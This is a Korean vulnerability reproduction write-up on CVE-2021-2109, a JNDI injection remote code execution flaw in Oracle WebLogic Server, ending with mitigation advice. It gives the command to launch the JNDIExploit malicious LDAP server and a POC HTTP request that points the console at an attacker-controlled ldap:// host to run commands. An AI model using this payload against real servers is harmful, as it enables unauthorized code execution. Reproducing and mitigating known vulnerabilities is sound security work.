
CVE-2021-2109의 단계별 재현 및 분석, JNDI 인젝션을 통한 Weblogic Server 원격 코드 실행 취약점, POC 및 완화 가이드 포함.
CVE-2021-2109 Weblogic Server 원격 코드 실행 취약점 재현 및 분석
2021년 1월 Oracle은 Oracle 제품군의 329개의 새로운 보안 패치를 포함하는 보안 업데이트 패치를 발표했습니다. 이번 공지에서는 특히 2020년 11월 1일에 발표된 Oracle WebLogic Server의 CVE-2020-14750 취약점에 대한 보안 공지를 언급했습니다. 고객은 이 패치 업데이트와 이 공지의 다른 패치를 적용할 것을 강력히 권장합니다. CVE 번호 CVE-2021-2109, 이 취약점은 Weblogic의 원격 코드 실행 취약점입니다. 이 취약점은 주로 JNDI 주입으로 인해 공격자가 이 취약점을 이용하여 원격 코드 실행을 할 수 있습니다.
영향을 받는 버전은 다음과 같습니다: Weblogic Server 10.3.6.0.0 Weblogic Server 12.1.3.0.0 Weblogic Server 12.2.1.3.0 Weblogic Server 12.2.1.4.0 Weblogic Server 14.1.1.0.0
DOCKER를 사용하여 Weblogic Server 테스트 환경을 구축하면 Weblogic Server에 정상적으로 접근할 수 있습니다.


로컬에서 LDAP를 시작합니다. https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11에서 다운로드할 수 있으며, 명령어는 다음과 같습니다: java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

Weblogic Server 원격 코드 실행 취약점 CVE-2021-2109 JNDI 주입 POC 데이터 패킷을 전송합니다: POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

cmd 변수를 통해 ipconfig 시스템 명령 실행


cmd 변수를 통해 calc.exe를 실행하여 시스템 계산기를 엽니다.


시스템 계산기가 열립니다.

CVE-2021-2109 Weblogic Server 원격 코드 실행 취약점 보안 권장 사항
T3 프로토콜 비활성화 T3 프로토콜에 의존하여 JVM 통신을 하지 않는 경우, T3 프로토콜을 일시적으로 차단하여 이 취약점의 영향을 완화할 수 있습니다. 1). Weblogic 콘솔에 접속하여 base_domain 설정 페이지에서 “보안” 탭 페이지로 이동한 후, “필터”를 클릭하여 필터를 구성합니다. 2). 연결 필터에 weblogic.security.net.ConnectionFilterImpl을 입력하고, 연결 필터 규칙 상자에 * * 7001 deny t3 t3s를 입력합니다.
IIOP 비활성화 Weblogic 콘솔에 로그인하여 IIOP 활성화 옵션을 찾아 체크 해제한 후, 재시작하면 적용됩니다.
백그라운드 /console/console.portal 외부 접근 임시 차단
공식 보안 패치 업데이트